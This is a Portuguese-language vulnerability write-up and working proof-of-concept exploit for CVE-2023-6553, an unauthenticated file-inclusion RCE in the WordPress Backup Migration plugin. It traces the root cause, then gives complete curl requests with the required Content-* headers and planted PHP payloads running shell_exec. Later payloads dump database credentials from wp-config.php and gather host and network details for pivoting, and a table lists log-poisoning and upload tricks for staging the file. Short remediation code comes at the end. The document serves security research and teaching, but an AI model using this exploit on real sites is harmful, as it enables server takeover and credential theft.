
Exploit de prova de conceito e documentação técnica para CVE-2023-6553, uma vulnerabilidade de inclusão de arquivo PHP não autenticada que permite execução remota de código no plugin WordPress Backup Migration <=1.3.7.
Plugin: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Crítico)
CWE: CWE-98 — Controle Incorreto do Nome de Arquivo para Instrução Include/Require
Requisito de Autenticação: Nenhum
Impacto: Execução Remota de Código
Backup Migration é um plugin WordPress bastante popular (~90.000+ instalações ativas) que ajuda os usuários a criar cópias de backup. Durante o processo de backup, o plugin possui um arquivo chamado backup-heart.php rodando em segundo plano — ele recebe informações de configuração via cabeçalhos HTTP para saber qual diretório precisa ser copiado, onde o arquivo de configuração está localizado, etc.
O problema está no fato de que este arquivo confia totalmente nos cabeçalhos HTTP enviados pelo cliente, coloca o valor do cabeçalho diretamente no caminho do arquivo e, em seguida, usa require_once() para carregar o arquivo desse caminho. Um atacante só precisa enviar o cabeçalho Content-Dir apontando para um diretório contendo código PHP malicioso → o servidor automaticamente inclui e executa o código.
Vale notar que o arquivo backup-heart.php não exige autenticação — ele apenas verifica se o método da requisição é POST, sem validar nenhum nonce ou privilégios de usuário. Qualquer pessoa na internet pode enviar uma requisição para ele.
⇒ Esta é uma vulnerabilidade zero-clique.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2023-6553 |
| Pontuação CVSS | 9.8 (Crítico) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Autenticação | Não necessária |
| Interação do Usuário | Nenhuma (zero-clique) |
| Corrigido em | Versão 1.3.8 |
O PHP possui funções como include(), require(), require_once() usadas para incluir outros arquivos PHP no programa em execução. Quando o caminho de arquivo passado para essas funções vem de entrada do usuário sem validação, um atacante pode forçar o servidor a incluir qualquer arquivo que desejar:
allow_url_include=On (geralmente desabilitado por padrão).Este CVE se enquadra em LFI — o atacante controla o caminho passado para require_once(), apontando para um arquivo PHP que o atacante conseguiu gravar no servidor.
Muitos desenvolvedores pensam que cabeçalhos HTTP são metadados "internos" conhecidos apenas pelo servidor e pelo cliente. Na realidade, os atacantes controlam 100% do conteúdo do cabeçalho — eles podem definir qualquer nome e valor de cabeçalho. Confiar em cabeçalhos é como confiar em entradas de formulário — isso deve ser validado.
define() e Constantes do PHPdefine('NAME', $value) cria uma constante usada em toda a aplicação. Uma vez definida pela função define, o valor não pode ser alterado. Se $value vier de um atacante, todos os lugares que usam essa constante serão afetados.
Comecei usando grep para buscar por todas as instruções require e include no plugin:
grep -rn "require\|include" includes/

Os resultados da busca retornaram muitas chamadas require/include. Analisando-as, a maioria eram chamadas include_once em banner/misc.php e banner/views/index.php — essas pertencem ao código de renderização da interface administrativa com caminhos fixos, tornando-as inexploráveis.
No entanto, 2 linhas em backup-heart.php chamaram minha atenção:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
A linha 118 usa require_once com a constante BMI_INCLUDES — se essa constante fosse fixa, estaria segura. Mas olhando para a linha 64, vi que BMI_INCLUDES é construída a partir de outra constante, BMI_ROOT_DIR. Portanto, precisamos rastrear mais: onde BMI_ROOT_DIR recebe seu valor?
Usei grep novamente para rastreá-la:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Resultados:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
A linha 62 mostra que BMI_ROOT_DIR recebe seu valor de $fields['content-dir']. Esta é uma variável, não um valor fixo — precisamos abrir o arquivo e ver o que $fields contém.
Abri backup-heart.php no VS Code na linha 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

É claramente visível que $fields['content-dir'] vai diretamente para define(). Agora precisamos determinar onde a variável $fields é atribuída:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


Neste ponto, a causa raiz fica extremamente clara: $fields contém todos os cabeçalhos HTTP obtidos via getallheaders() — completamente controlados pelo cliente. Não há wp_verify_nonce(), nenhum current_user_can(), nenhuma verificação de caminho válido — ele simplesmente verifica o método POST e lê os cabeçalhos diretamente.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Resumo da causa raiz: Cabeçalho HTTP → define() → require_once(), com zero etapas de validação no meio.
Usei Xdebug + VS Code para confirmar visualmente o fluxo de ataque. Defini 2 breakpoints nas linhas 62 e 118 em backup-heart.php e, em seguida, enviei a requisição de exploit usando curl.
Breakpoint 1 — Linha 62:
O depurador pausou exatamente em define('BMI_ROOT_DIR', $fields['content-dir']). Expandindo a variável $fields no painel Variáveis, apareceu uma matriz de 22 elementos — contendo todos os cabeçalhos HTTP enviados pelo cliente. Especificamente:
content-dir = "/tmp/bmi/" — este é exatamente o valor enviado via cabeçalho, que é diretamente atribuído à constante BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — todos controlados pelo atacante.Não há etapas de validação ou filtragem aplicadas a content-dir antes de passá-lo para define().

Breakpoint 2 — Linha 118:
Pressionando F5, o depurador pausou em require_once BMI_INCLUDES . '/bypasser.php'. Observando o estado:
$fields ainda mantém content-dir = "/tmp/bmi/" — provando que o valor não foi alterado entre as linhas 62 e 118.{main} backup-heart.php 118:1 — código executado direto do topo do arquivo até este ponto, ignorando qualquer middleware ou verificação de autenticação./tmp/bmi/includes/bypasser.php — um arquivo cujo conteúdo é controlado pelo atacante.
Os resultados da depuração confirmam perfeitamente o fluxo analisado no Passo 3: o cabeçalho HTTP percorre getallheaders() → define() → require_once(), sem validação no meio.
Antes de acionar a inclusão, um arquivo PHP já deve existir no servidor alvo. Técnicas comuns incluem:
| Método | Conceito |
|---|---|
| Envenenamento de log | Enviar uma requisição contendo <?php ... ?> no User-Agent → o código é gravado no log de acesso → incluir o arquivo de log |
| Sessão PHP | Escrever código PHP em um arquivo de sessão localizado em /tmp/sess_xxx |
| Cadeia de upload | Usar o recurso de upload de mídia/avatar do WordPress para enviar o arquivo |
| Log de erros do plugin | O plugin grava seu próprio log de erros — acionar um erro contendo código PHP grava o código no arquivo de log |
Envie uma requisição com Content-Dir apontando para o diretório que contém o payload. O servidor automaticamente faz require e executa o arquivo do atacante.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Todos os cabeçalhos Content-* devem ser fornecidos porque backup-heart.php os usa em outras chamadas define() — cabeçalhos ausentes acionam avisos do PHP e podem abortar a execução antes de chegar ao require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Retorna 200 — o endpoint está acessível e não solicita autenticação.

Crie a estrutura de diretórios correspondente ao que require_once espera encontrar: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Resultado da saída:

RCE bem-sucedido — o servidor executa o comando id e retorna a saída.
Após confirmar o RCE, alterei o payload para demonstrar que um atacante pode ler informações sensíveis no servidor. Altere o conteúdo do arquivo de payload para ler wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Reenvie a mesma requisição de exploit com curl → a saída retorna os detalhes de conexão com o banco de dados:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
O atacante pode ler qualquer arquivo ao qual www-data tenha permissão de acesso — wp-config.php, /etc/passwd, código-fonte de outros plugins — expandindo a superfície de ataque.

Modifique ainda mais o payload para demonstrar que o atacante pode coletar informações do sistema do servidor — auxiliando na escalada de privilégios ou movimento lateral:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Envie o exploit com curl → saída:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

A partir dessa saída, o atacante descobre:
172.18.0.3 — confirma que o servidor está dentro de uma rede Docker, permitindo pivoting para outros contêineres (banco de dados, cache, etc.)| Métrica CVSS | Valor | Motivo |
|---|---|---|
| Vetor de Ataque | Rede | Via HTTP |
| Complexidade do Ataque | Baixa | 1 requisição POST, sem condições de tempo ou condições especiais |
| Privilégios Necessários | Nenhum | O endpoint não exige autenticação |
| Interação do Usuário | Nenhuma | Conduzido pelo atacante, a vítima não requer interação |
| Confidencialidade | Alta | Pode ler qualquer arquivo: wp-config.php, /etc/passwd, código-fonte |
| Integridade | Alta | Gravação arbitrária de arquivos, instalação de webshell, modificação de banco de dados |
| Disponibilidade | Alta | Exclusão de arquivos, encerramento de processos, comprometimento total do servidor |
backup-heart.php reside no disco e pode ser acessado diretamente via URL.Não use cabeçalhos HTTP para determinar caminhos de arquivo. Use caminhos relativos derivados de __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Adicione uma verificação de autorização — apenas administradores do WordPress devem poder invocar este endpoint:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.